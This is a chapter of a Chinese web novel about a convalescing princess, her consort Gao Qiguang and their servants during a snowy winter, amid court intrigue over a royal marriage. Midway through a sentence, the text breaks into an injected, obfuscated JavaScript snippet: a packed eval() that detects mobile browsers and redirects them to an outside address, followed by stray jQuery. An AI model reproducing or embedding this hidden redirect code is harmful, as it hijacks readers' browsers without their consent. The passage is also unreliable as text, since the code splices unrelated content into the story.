腊月已至,京中大雪,天气一下冷了许多。稚柳自房中备了一盏手炉给看守宅门的李固送去。到时,正见他抱剑倚在门下,仰面迎风,又不时伸手去够檐上积雪。
“看来,你不冷。”她抿唇笑道。
这个天气,四下冷清,骤然闻声,不由李固一惊,转脸看到人方惭愧一笑:“这么冷,出来做什么?公主睡了?”
手炉虽不大,她就端在身前,他却浑然不见,“你的眼睛……”正欲调侃,却忽见他氅衣下似乎掖着样东西,也只手炉般大小,“你已经拿了手炉了?”
李固愣了愣,这才看见她掌中之物,明白过来,拿出来道:“才刚董静来了,在巷口伸头伸脑,又缩手缩脚的。我奇怪起来就去问他,原是许王让他来送新糖,他却怕驸马在家,不敢靠近。”
稚柳很是明白,无奈轻叹,伸手接过那一方糖盒,顺道就将手炉换到了他手中,道:
“眼下什么都不重要,公主不能再受刺激了。只不过,她成日闷在房里,除了糖,也没有什么能叫她分心的。按照原本的打算,不是还要出城一趟么?”
李固亦都心知肚明,点点头,余光偶又划过道旁积雪,想到了什么,眼睛一亮:“你先进去,太冷了,等公主醒了我叫你。”
稚柳没看出名堂,只觉他莫名兴奋,想要询问,被他一臂揽过往里推去,耳畔只听:“多谢你,真暖和。”
她一张脸由此倏然红透,再不必他劝,小跑而去。
*
许王师之职一除,高齐光仅剩的学士职实则也成了空名。
没有人会给一个即将升迁的得宠驸马加派冗杂的学务,无法逃脱岁考的同僚们或是艳羡,或是议论,甚或是不掩饰的趋附,注定会成为他德初三年的收场。
远不到平常下职的时辰,齐光已出了皇城。荀奉候在城门,见他走来,也牵马迎去。
“我要你做件事。”
不及递上缰绳,只听一句突然的交代,荀奉愣了下:“公子怎么了?”
齐光却一时不再多说,翻身上马,踏雪驰出数条街道,才在一处河堤下渐渐缓速,道:“回去之后你速速准备行装,正月之前启程,将冯氏送回清河。”
河道上的寒风呼啸耳畔,荀奉怕未听全,确认道:“公子是不想再管她了?”
齐光闭了闭眼睛,决心已定:“你知道,我是为报恩才留着她,可现在仁至义尽,已无必要,她的身体也足可以上路了。”
荀奉自然不反对,但想来,这一二月间,只看他为公主忧心如焚,并不曾丝毫提过冯氏,忽然有此安排,应该有些内情,问道:
“她虽不知道我们的事,可我记得,她从前就问起过阿黛娘子眼疾之事,大约是有些疑惑的。如今放她自生自灭,公子就不怕她情急胡言,闹得公主疑心?”
齐光回首看他,天色阴沉泛青,四下雪气迷茫,惨绿的身形近乎隐没,却独一双目光映着河面浮冰的裂隙,清晰而可怖:“倘若公主已经疑心了呢?”
荀奉惊得脸色一白:“是公主问了冯氏?”
齐光缓缓闭目,僵硬的手掌艰难攥拳,牵扯得身躯也微微发抖,“冯氏生产那日,公主闻知,脱口便说‘她早上还好好的’。我连日推想,愈觉不对,问了阿黛才知,那日公主见了她许久,出来后便对阿黛态度反常。”
荀奉那时就在当场,一下便记了起来,立马道:“那此刻送走冯氏,不是欲盖弥彰么?还是该保护阿黛娘子,不然,我送娘子回乡安置?再叫秦公子照应着。”
“你这么做才是欲盖弥彰!我绝不会让阿黛置身险境,她必须留在我身边。”齐光断然推翻了他轻巧的想法,深吸了口气,又道:
“这件事,我没有理由去试问公主,公主也并不想向我求证。我让你送走冯氏,既是因为她该走,也是因为,在公主面前,今后很长一段时日我都会无所作为。”
荀奉半知半解,想来又道:“我看得出来,公主对公子很好,可是她不问,我想不通。难道说,她是为了许王?不想揭破,全你们夫妻之义,换取公子在朝堂上对许王的维护——可是,她是陛下宠爱的公主,许王也好歹是王爵在身的皇子,他们加在一起怎么可能不如公子一人之力?”
荀奉是齐光自小的心腹,虽常与他计议大事,这般直抒胸臆,道理简单,却是从未有过的深刻。然而齐光只是无谓一笑:
“我不知道她想做什么,或许她就是我看到的样子,但都不重要。”
荀奉摇头:“那什么才算重要?”
“我亏负她的,总要报应。报应到来之前,她喜欢做什么就做什么便是了。”
荀奉心中不忍,只欲追根究底,却见他忽然调转马首,扬鞭之前,又沉声道:
“安置好冯氏,你便亲自去一趟甘州,叮嘱秦非,务必尽快设法到繁京相见。”
*
一只三足铜盘中垒着一个小小的雪人,圆圆的脑袋上用石子嵌了两只眼睛,圆圆的身躯左右也各插了一丫细枝当做手臂。
同霞醒来便见稚柳端来这雪人,说是李固做给她玩的。只是上下端详,唯觉欠缺了一张嘴巴,“五官之中最重要的就是嘴了,没有嘴吃不了东西,那活着还有什么滋味?”
“那公主就赐它一张嘴吧。”稚柳笑着陪在她身侧,果见她一改病中沉闷,也算放了心。
同霞正是在想拿什么做它的嘴,放眼妆台,先叫稚柳取了花钿来,但花钿只有金玉做的,比在雪上看,既累赘,也不协调。“那是什么盒子?没见过。”目光转到榻侧杌凳,却望见一方描花的小木盒。
“哦!是糖。”那盒子比雪人先到,稚柳这才恍然想起,连忙送到同霞面前,将来由说了,“公主要不要尝尝?”
自萧遮闹了一场,辗转已过去两旬。这两旬极其平常,极其平静,什么事也没有发生,而她的病竟也没有再加剧。她忽然想到一个词,否极泰来,不觉点头,又作一笑。
否极不可知,泰来更不可知,静待而已。
她抬手打开糖盒,扑鼻一股熟悉的风味:“是频婆果做的糖,还是第一次见,看来七郎费心了。”捻了一枚含入口中,清甜略酸,有芳香气,果然合她心意。便又向稚柳送去一块,笑道:
“不如就用这糖给它做嘴吧?”
稚柳含糖点头,只觉她脑筋奇妙,“公主试试。”
同霞便从盒中挑了块略小些的糖缀在了雪人脸上,莹白中一点暗红,不但融合,也像是涂了口脂般,当真好看,“好漂亮。”
“不仅漂亮,还有口福。”
这话非出主仆二人之口,她们沉浸其间,一丝不察高齐光已经久立帐前。稚柳于是静默离去,同霞也不算惊讶,偏着脑袋向他招了招手:
“你会不会垒雪人?”
齐光依从走去,却将摆放雪人的小案略推远了些,“这是你垒的?玩了多久?不冷么?”握住她双手,倒觉是温热的。
同霞笑笑,抽开一只手拿了块糖送到他嘴边,道:“这是七郎送来的,频婆果的糖。频婆果多产于燕地,宫中冬日贡果也常见——你的家乡清河郡不就在燕地么?”
齐光张口含糖,置于舌上等待渐融,才点头道:“是啊,清河郡也产频婆果,若切块晒干为果脯,便叫频婆粮,可以充饥。”
同霞没听说过后一种吃法,道:“我想吃。”又问道:“阿黛姐姐会做吗?切块晒干,听上去和晒药材也差不多。”
齐光微微一笑,并不言语,起身走向门外,半途却又折返,端起放雪人的小案,道:“它已大汗淋漓了,我请它暂且出去逛逛。”
帘帐里外都放了炭炉,室内温暖如春,饶是李固将雪人压得扎实,此刻也渐融了,盘中积水眼看就要满溢。同霞明白他的意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830462|188272||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思,但也知道他并非专程为此,静静待他回来,方问道:
“你干什么去了?不会也垒了一个雪人吧?”
“你要在雪尽之前好起来,我就带你去外头垒雪人。”齐光仍坐在她身侧,拢住她,一手抚着她略显蓬乱的鬓发,直至平整,“再迟些不肯好,开了春,就要再等一年了。”
明明在等候他切实的回答,听到此处,同霞却一时恍惚。他们也算认识一年了,明年此时会是什么样呢?京中飞雪如故,人如故否?
不堪细想。她只追问道:“那你做什么去了?”
齐光一笑,尚未从她发间撤下的手移到她颊上,轻轻揉了揉,“我就是去告诉阿黛,你想吃频婆粮,她本就会做,只不过这东西费时,要你等上几天。”
同霞心觉惊讶,继而也有一瞬的惭愧,“我……随口一说,我没有使唤她的意思。”
齐光含笑摇头,似乎能看透她,也像是毫不在意,“是我交代她的,她也是乐意的。你很久没有说过想吃什么了,所以我很高兴。”
方才只是一星半点的愧意,此刻对视他真诚直白的目光,同霞竟几乎想要脱口承认,她不过是偶然想到,可以借频婆果产于燕地的巧合,试探高黛的身份。
冯氏描述的本该左眼歪斜的表妹,若当真不是高黛,那她便有可能不是燕地女子——当然,这只是一个仓促且苍白的策略。
“驸马。”
正不知所言,门外忽然传来稚柳的呼唤,但却奇怪得只叫了齐光一人。同霞索性先接口道:
“怎么了?你进来。”
稚柳闻言入内,看了同霞一眼,仍对齐光禀道:“肃王府忽然来人邀驸马过府议事,妾问何事,他只说自己不知。妾看他独身而来,虽携带王府玉牌,却穿着麻布衣衫,似是行动隐秘的样子。”
同霞没有头绪,齐光也一时皱眉,道:“你去回他,此事若不急,现在天色已晚,我明日一早再去。”
看稚柳匆匆又去,同霞揣度齐光言辞反应,倒有了些洞察:“他不是急事,怎会让这样一个人来?你是不是已经猜到何事了?只是依此确认。”
齐光轻轻一笑,夹带些许无奈,仍抚了抚她的脸,“我还没来得及告诉你,陛下今日已定了裴尚书之女为许王妃,册封的旨意大约明天一早就会传下。”
月余前的猜测果然成真!
而同霞此刻恍然所悟的却是,原来裴昂拜相,高齐光升迁,竟是皇帝与高琰交易。也由此,她原本以为会扎进高琰心头的一根芒刺,辗转就只刺入了肃王的眉心。
果然稚柳询问返回就道:“他说,肃王请驸马务必今夜相见。”
未待齐光下文,同霞率先一步牵住了他的手,缓缓道:“那你就去吧。上回徐纵的案子,高琰不也是请你去居中调和的么?七郎得了这样一个王妃,他肯定又把七郎当对手了。你去劝劝他,就说七郎当真无心,君命难违罢了。”
她说得小心翼翼,更似乎有些害怕,齐光很难不动恻隐,抱了抱她,哄道:“你别着急,于身体无益。我去了也改变不了圣意,我陪着你,哪里都不去。”
说着便指点稚柳道:“公主病着,我走不开,你就这样告诉……”
同霞伸出一指拦在了他的唇间,摇了摇头:“你不去,他只会更加误会七郎,大约连我也会当成仇敌。”又摸来一枚糖送进了他口中,“我没事,我会好好等你回来的。”
她的乖巧在这一刻令齐光感到心痛——她是需要他的,但不需要他留下,她知道他此去会有怎样的结果,但只是略显无情地纵容。
他看见至清至纯的一双明眸,似乎跃动着并不寻常的光泽,但心头绵绵不绝的痛楚让他不欲深究。
没有再等口中的糖融化,他用后牙咬碎,脆响出声,在二人相视一笑中说出了她所期待的话:
“好,你放心。”